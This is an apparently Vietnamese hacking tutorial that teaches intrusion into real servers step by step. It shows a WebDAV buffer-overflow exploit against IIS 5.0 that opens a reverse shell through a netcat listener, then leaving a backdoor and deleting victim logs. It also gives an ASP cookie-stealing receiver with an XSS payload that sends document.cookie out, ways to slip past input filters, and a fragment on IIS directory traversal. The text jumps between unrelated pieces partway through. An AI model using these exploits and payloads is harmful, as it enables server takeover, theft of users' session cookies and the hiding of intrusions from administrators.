Những hiểu biết cơ bản nhất để trở thành Hacker
trang này đã được đọc lần
50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :
Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một
tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên
tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một
thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm
quyền điều khiển máy tính .
Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm
www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
C:\>nx -vv -l -p 53
listening on [any] 53 ...
Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .
+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .
c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng
nghe> [padding=1,2,3...]
VD :
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer
Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để
tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :
Added a new job with job ID = 1
Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn
đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :
C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các
bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các
bạn tự tìm hiểu để sử dụng chúng nhé.
51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :
Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi
này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin
quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó
sau đó thông tin này được gửi tới cho hacker .
Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như
brikster.com ) :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
Kiểm tra trang Web bị lỗi :
địa chỉ trang Web ta vừa up
file cookie. asp lên /cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :
<HTML>
<TITLE> Hello all! </TITLE>
hello
<script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên /cookie.asp?
cookie="+document.cookie)</script>
...
</HTML>
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho
bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .
+ Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký tự đặc biệt ta
phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các mã đại diện . VD :
* Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với
') + ') + '\x3cscript src= />cookie="+document.cookie\x3e\x3c/script\x3e'
Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .
+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau :
<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>
Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT>
kia . Nghĩa là ta chèn cái này vào :
<script>
</COMMENT>
chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào? Bạn không thể gõ:
/>Chú thích Web server sẽ bắt đầu đi qua local của nó
c:\inetpub\wwwroot
Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận
được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau
/>Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm
server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file
mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:
Unicode hole.txt
Trình duyệt sẽ thay thế khoảng trống bằng %20 :